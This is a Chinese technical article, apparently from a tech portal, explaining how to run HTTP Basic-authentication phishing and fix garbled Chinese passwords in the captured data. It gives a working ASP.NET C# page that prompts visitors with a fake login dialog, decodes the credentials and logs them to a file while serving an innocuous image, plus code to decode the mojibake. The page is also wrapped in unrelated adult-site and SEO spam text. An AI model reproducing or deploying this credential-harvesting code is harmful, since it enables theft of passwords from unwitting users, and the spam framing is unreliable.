成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

關于基礎驗證釣魚中文亂碼的解決方法

安全
最近基礎認證釣魚很火,不過亂碼始終是個問題。經測試后已實現的解決方法有兩種:手動分析Request頭;將亂碼轉換回正常的字符。

最近基礎認證釣魚很火,不過亂碼始終是個問題。經測試后已實現的解決方法有兩種:

手動分析Request頭

如果客戶端接受了WWW-AuThenticate驗證,則會在下一次連接中添加請求頭 Authorization,格式為:

[code]

Authorization: Basic Og==

[/code]

Basic代表應用基礎模式驗證,由服務端WWW-AuThenticate頭指定的驗證模式指定。由于我們需要獲取密碼,所以這里一定為Basic。

之后以一個空格作為分隔符,其余的內容為用戶名與密碼,加密方式為標準BASE64,格式為 用戶名:密碼。

(更多資料請參考rfc文檔。)

所以我們只需要判斷請求頭是否包含Authorization即可,如果沒有的話則輸出401返回頭要求輸入密碼。

一段簡單的C#代碼:

[code="csharp"] <%

string logpath=Server.MapPath("\\fuck.config");

string info="please re-login";

string imgpath=Server.MapPath("\\img.jpg");

if(Request.Headers["Authorization"]==null||Request.Headers["Authorization"].StartsWith("Basic Og==")){

Response.Status="401 Unauthorized";

Response.AddHeader("WWW-AuThenticate",string.Format("basic ,Realm=\"{0}\"",info));

}

else{

string referrer=(Request.UrlReferrer==null)?"":Request.UrlReferrer.ToString();

System.IO.File.AppendAllText(logpath,Encoding.Default.GetString(Convert.FromBase64String(Request.Headers["Authorization"].Remove(0,5).Trim()))+"|"+referrer+"\r\n");

if(System.IO.File.Exists(imgpath))Response.BinaryWrite(System.IO.File.ReadAllBytes(imgpath));

}

%> [/code]

#p#

將亂碼轉換回正常的字符

亂碼其實是西歐字符,在拓展ASCII中為0x7f-0xff,所以只需要轉換回去就行了。

不過要注意:直接轉換是不可能的。在中文操作系統中0x7f-0xff單個字節被認為是無效字符,轉換后只能輸出0x3f(?)。同時如果想將亂碼保存到文件中,則必須使用unicode等格式保存,這時亂碼將變為兩字節,轉換更加繁瑣。

經過嘗試可以使用以下C#代碼轉換,注意:必須在winform下編譯使用,webform下即使是相同的Unicode編碼也會轉換出不同的字節數組,從而導致無法轉換。

[code]

using System;

using System.Text;

using System.Windows.Forms;

using System.Collections.Generic;

public class Decript

{

public static void Main()

{

string s="D??μò???è?";

byte[] arrb = Encoding.Unicode.GetBytes(s);

List<byte> lb=new List<byte>();

foreach(byte b in arrb){if(b!=0)lb.Add(b);}

Console.WriteLine(Encoding.Default.GetString(lb.ToArray()));

}

}

[/code]

之后又找到更簡便的方法:用Notepad2建立一個unicode文檔,將亂碼粘貼進去,之后在編碼選擇任意ISO開頭的編碼,保存后即轉換完畢。

責任編輯:藍雨淚 來源: cunlide
相關推薦

2011-03-01 15:38:44

Fireftp亂碼

2009-09-07 18:40:28

PHP中文亂碼

2009-07-02 13:26:32

JSP中文亂碼

2012-03-21 10:16:31

JavaJSP

2010-07-15 14:01:12

telnet亂碼

2009-07-02 13:32:56

JSP中文亂碼

2010-10-13 17:22:12

MySQL查詢亂碼

2009-06-25 15:06:20

Javadoc亂碼

2010-05-14 17:27:40

MySQL中文亂碼

2009-07-01 18:14:36

JSP亂碼

2011-06-14 13:41:27

muleWSDL

2009-12-02 16:53:25

PHP發送郵件亂碼

2009-12-02 10:08:33

PHP mail()函

2009-11-26 15:42:18

PHP函數mail()

2017-08-02 15:51:24

PHP中文亂碼

2011-09-06 16:04:59

Ubuntu

2009-12-04 16:49:38

PHP導出Excel亂

2011-07-05 09:44:31

QT Mysql 亂碼

2011-12-02 14:00:21

JavaOOM

2010-06-09 09:39:42

Opensuse雙系統
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 欧美精品1区 | 一级做a爰片性色毛片视频停止 | 一区二区三区四区五区在线视频 | 性色的免费视频 | 午夜私人影院 | 成人国产精品久久久 | 伊人免费视频二 | 亚洲性人人天天夜夜摸 | 久久爱一区 | 精品一区二区三区在线观看国产 | 中文字幕在线第一页 | 亚洲欧美日本国产 | 在线不卡一区 | 亚洲午夜一区二区 | 国产一区二区 | 99热在这里只有精品 | 国产精品不卡一区二区三区 | 国产午夜精品一区二区三区 | 国产伦精品一区二区三区精品视频 | 国产激情免费视频 | 一级日韩 | 97热在线 | 蜜桃av一区二区三区 | а天堂中文最新一区二区三区 | 成人av网站在线观看 | 国产精品波多野结衣 | 麻豆精品一区二区三区在线观看 | 人人干天天干 | 在线观看中文字幕视频 | 午夜精品一区二区三区三上悠亚 | 中文字幕一区二区三区乱码在线 | 久久亚洲一区二区 | 大象一区 | 盗摄精品av一区二区三区 | 色一情一乱一伦一区二区三区 | 亚洲欧美国产毛片在线 | 中文字幕一区二区三区乱码图片 | 欧美日韩在线观看视频网站 | 天天影视亚洲综合网 | 欧美性video 精品亚洲一区二区 | 国产综合精品一区二区三区 |